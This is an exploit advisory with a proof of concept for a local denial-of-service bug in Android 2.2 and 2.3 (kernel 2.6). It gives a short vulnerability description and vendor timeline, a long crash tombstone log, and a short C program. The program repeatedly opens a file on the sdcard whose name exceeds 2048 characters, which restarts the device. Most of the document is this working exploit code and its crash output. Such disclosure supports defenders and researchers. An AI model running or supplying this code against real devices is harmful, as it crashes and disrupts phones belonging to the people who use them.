# Exploit Title: Android Kernel 2.6 Local DoS # Date: 12/7/12 # Author: G13 # Twitter: @g13net # Versions: Android 2.2, 2.3 # Category: DoS (android) # ##### Vulnerability ##### The Android OS is vulnerable to a local DoS when a filename with a length of 2048 or larger is attempted to be written to the sdcard(vfat fs) multiple times. The result of successful running of the exploit code is the system restarting. The vulnerability only effects Android kernels that are in the version 2.6 family. ##### Vendor Timeline ##### The Android Security Team has been contacted with updated PoC code and details. They have been aware of this vulnerability for over a year. ##### Tombstone ##### *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Build fingerprint: 'verizon/SCH-I800/SCH-I800:2.3.4/GINGERBREAD/EF01:user/release-keys' pid: 349, tid: 363, name: SensorService >>> system_server <<< signal 8 (SIGFPE), code -6 (?), fault addr 0000015d r0 00000000 r1 00000008 r2 00000040 r3 00000000 r4 2a114310 r5 00000000 r6 51504690 r7 00000025 r8 2a114330 r9 2a114350 sl 00000003 fp 00000003 ip fffd4084 sp 51501eb0 lr 40039b70 pc 40037cf0 cpsr 20030010 d0 4271bc7bd0b80000 d1 0000000000000000 d2 0000000000000000 d3 427181eae9200000 d4 0000000000000000 d5 0000000000000000 d6 0000000000000000 d7 0000000000000000 d8 0000000000000000 d9 0000000000000000 d10 0000000000000000 d11 0000000000000000 d12 0000000000000000 d13 0000000000000000 d14 0000000000000000 d15 0000000000000000 d16 3fe99999a0000000 d17 3fe999999999999a d18 0033003200310030 d19 0000000000000000 d20 3fc554e7eb0eb47c d21 3e66376972bea4d0 d22 3f4de16b9c24a98f d23 3fb0f4a31edab38b d24 3fede16b9c24a98f d25 3fe55559ee5e69f9 d26 0000000000000000 d27 0000000000000000 d28 0000000000000005 d29 0000000000000000 d30 0000000000000000 d31 0000000000000000 scr 20000010 backtrace: #00 pc 0000dcf0 /system/lib/libc.so (kill+12) #01 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #02 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #03 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #04 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #05 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #06 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #07 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #08 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #09 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #10 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #11 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #12 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #13 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #14 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #15 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) #16 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8) ##### PoC ##### #include <stdio.h> int main(int argc, char** argv) { char buf[5000]; int j,k; FILE *fp; /* Path to sdcard, typically /sdcard/ */ strcpy(buf,"/sdcard/"); for(k=0;k<=2048;k++){ strcat(buf,"A"); }; for(j=0;j<=50;j++){ fp=fopen(buf,"w"); }; return 0; }